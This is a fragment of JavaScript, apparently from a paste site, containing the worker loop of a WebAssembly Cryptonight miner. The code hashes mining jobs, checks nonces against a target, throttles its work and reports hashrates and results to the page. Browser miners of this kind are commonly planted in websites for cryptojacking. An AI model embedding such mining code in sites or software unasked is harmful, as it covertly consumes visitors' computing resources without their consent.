  5449. this.blob = this.hexToBytes(job.blob);
  5450. this.input.set(this.blob);
  5451. var target = this.hexToBytes(job.target);
  5452. if (target.length <= 8) {
  5453. for (var i = 0; i < target.length; i++) {
  5454. this.target[this.target.length - i - 1] = target[target.length - i - 1]
  5455. }
  5456. for (var i = 0; i < this.target.length - target.length; i++) {
  5457. this.target[i] = 255
  5458. }
  5459. } else {
  5460. this.target = target
  5461. }
  5462. });
  5463. CryptonightWASMWrapper.prototype.now = (function() {
  5464. return self.performance ? self.performance.now() : Date.now()
  5465. });
  5466. CryptonightWASMWrapper.prototype.hash = (function(input, output, length) {
  5467. var nonce = Math.random() * 4294967295 + 1 >>> 0;
  5468. this.input[39] = (nonce & 4278190080) >> 24;
  5469. this.input[40] = (nonce & 16711680) >> 16;
  5470. this.input[41] = (nonce & 65280) >> 8;
  5471. this.input[42] = (nonce & 255) >> 0;
  5472. _cryptonight_hash(this.ctx, input.byteOffset, output.byteOffset, length)
  5473. });
  5474. CryptonightWASMWrapper.prototype.verify = (function(job) {
  5475. this.blob = this.hexToBytes(job.blob);
  5476. this.input.set(this.blob);
  5477. for (var i = 0, c = 0; c < job.nonce.length; c += 2, i++) {
  5478. this.input[39 + i] = parseInt(job.nonce.substr(c, 2), 16)
  5479. }
  5480. _cryptonight_hash(this.ctx, this.input.byteOffset, this.output.byteOffset, this.blob.length);
  5481. var result = this.bytesToHex(this.output);
  5482. self.postMessage({
  5483. verify_id: job.verify_id,
  5484. verified: result === job.result
  5485. })
  5486. });
  5487. CryptonightWASMWrapper.prototype.work = (function() {
  5488. var hashes = 0;
  5489. var meetsTarget = false;
  5490. var start = this.now();
  5491. var elapsed = 0;
  5492. do {
  5493. this.hash(this.input, this.output, this.blob.length);
  5494. hashes++;
  5495. meetsTarget = this.meetsTarget(this.output, this.target);
  5496. elapsed = this.now() - start
  5497. } while (!meetsTarget && elapsed < 1e3);
  5498. var hashesPerSecond = hashes / (elapsed / 1e3);
  5499. if (meetsTarget) {
  5500. var nonceHex = this.bytesToHex(this.input.subarray(39, 43));
  5501. var resultHex = this.bytesToHex(this.output);
  5502. self.postMessage({
  5503. hashesPerSecond: hashesPerSecond,
  5504. hashes: hashes,
  5505. job_id: this.currentJob.job_id,
  5506. nonce: nonceHex,
  5507. result: resultHex
  5508. })
  5509. } else {
  5510. self.postMessage({
  5511. hashesPerSecond: hashesPerSecond,
  5512. hashes: hashes
  5513. })
  5514. }
  5515. });
  5516. CryptonightWASMWrapper.prototype.workThrottled = (function() {
  5517. var start = this.now();
  5518. this.hash(this.input, this.output, this.blob.length);
  5519. var end = this.now();
  5520. var timePerHash = end - start;
  5521. this.throttledHashes++;
  5522. var elapsed = end - this.throttledStart;
  5523. var hashesPerSecond = this.throttledHashes / (elapsed / 1e3);
  5524. if (this.meetsTarget(this.output, this.target)) {
  5525. var nonceHex = this.bytesToHex(this.input.subarray(39, 43));
  5526. var resultHex = this.bytesToHex(this.output);
  5527. self.postMessage({
  5528. hashesPerSecond: hashesPerSecond,
  5529. hashes: this.throttledHashes,
  5530. job_id: this.currentJob.job_id,
  5531. nonce: nonceHex,
  5532. result: resultHex
  5533. });
  5534. this.throttledHashes = 0
  5535. } else if (elapsed > 1e3) {
  5536. self.postMessage({
  5537. hashesPerSecond: hashesPerSecond,
  5538. hashes: this.throttledHashes
  5539. });
  5540. this.throttledHashes = 0
  5541. } else {
  5542. setTimeout(this.workThrottledBound, timePerHash * this.throttleWait)
  5543. }
  5544. });
  5545. Module["onRuntimeInitialized"] = (function() {
  5546. var cryptonight = new CryptonightWASMWrapper
  5547. })
Add Comment
Please, Sign In to add comment